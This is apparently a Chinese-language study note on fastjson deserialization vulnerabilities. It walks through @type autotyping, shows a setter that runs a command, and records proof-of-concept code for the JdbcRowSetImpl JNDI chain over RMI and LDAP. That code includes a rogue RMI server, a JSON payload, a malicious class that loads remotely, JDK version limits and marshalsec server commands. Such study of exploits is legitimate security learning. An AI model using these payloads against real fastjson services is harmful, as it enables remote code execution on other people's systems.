0%

Java反序列化-2(fastjson)

fastjson基本使用

首先就是新建一个maven项目,因为现在手头这台机子没装idea,就用vscode吧

包名为com.fastjsonser

目录结构如下:

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.fastjsonser;

import java.io.IOException;

public class Person {
private String name;
private int age;

public String getName() {
return name;
}


public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public void setName(String name) {
this.name = name;
}

}

Ser.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.fastjsonser;

import java.io.IOException;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
public static void main(String[] args) throws IOException {
Person person = new Person();
person.setName("harry");
person.setAge(22);
// 调用了这个SerializerFeature.WriteClassName就会在json数据中生成一个@type,
// 反序列化时就只需要parseObject就可以直接反序列化而不需要加上类型的指示
String jsonstring = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(jsonstring);
// unserialise
System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));

}
}

可以看到因为parse没执行成功,parseObject执行成功了,因为parseObject会根据@type来自动转换对象成json

尝试在各个get.set中加入输出语句来方便观察调用的顺序和逻辑:

漏洞在于parse只会触发set方法,parseObject会触发get,set两种方法,这种特性导致了反序列化漏洞的发生,在get中构造恶意的代码会被自动的执行

触发反序列化

修改person类,往里面加入一个新的成员变量,private String gender并补全set,get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public String getGender() {
System.out.println("call getgender");

return gender;
}

public void setGender(String gender) throws IOException {
System.out.println("call setgender");

this.gender = gender;
// 构造恶意语句,熟悉的Runtime类,这次不弹spotify了...
Runtime.getRuntime().exec("gnome-calculator");
}

弹了俩计算器并且set,get分别执行了两次,很好理解因为给

person赋值的时候调用了一次set,

toJSONString的时候调用了一次get

parseobject会分别调用一次set,get

利用链

记录一下poc

JNDI+RMI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//JNDIServer.java
package com.fastjsonser;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import javax.naming.NamingException;
import javax.naming.Reference;

public class JNDIServver {

public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "com.fastjsonser.badClassName", "http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}
1
2
3
4
5
6
7
8
9
10
11
//JNDIClient.java
package com.fastjsonser;

import com.alibaba.fastjson.JSON;

public class JNDIClient {
public static void main(String[] argv) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
1
2
3
4
5
6
7
8
9
10
//badclassname.class
public class badClassName {
static{
try{
Runtime.getRuntime().exec("/usr/bin/gnome-calculator");
}catch(Exception e){
;
}
}
}

利用条件

基于RMI利用的JDK版本 ≤ 6u141、7u131、8u121,

利用方法

运行JNDIServer

在badclassname相同目下开启http服务

运行JNDIClient

JNDI+LDAP

只修改client的payload

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

启动LDAPServer

利用条件

基于LDAP利用的JDK版本 ≤ 6u211、7u201、8u19

也可以用工具来进行利用

https://github.com/mbechler/marshalsec

装有java8,使用mvn clean package -DskipTests编译

1
2
3
4
5
6
#rmi服务器,rmi服务起在8088 恶意class在http://ip:8080/文件夹/#ExportObject 
#不加8088端口号 默认是1099
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8080/文件夹/#ExportObject 8088
#rmi服务器,rmi服务起在8088 恶意class在http://ip:8080/文件夹/#ExportObject
#不加8088端口号 默认是1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夹/#ExportObject 8088

同时恶意class文件的web服务还需要自己去起。

参考

https://xz.aliyun.com/t/6633#toc-5

https://drops.blbana.cc/2020/04/16/Fastjson-JdbcRowSetImpl%E5%88%A9%E7%94%A8%E9%93%BE/#Fastjson-JdbcRowSetImpl%E5%88%A9%E7%94%A8%E9%93%BE

https://xz.aliyun.com/t/8979#toc-3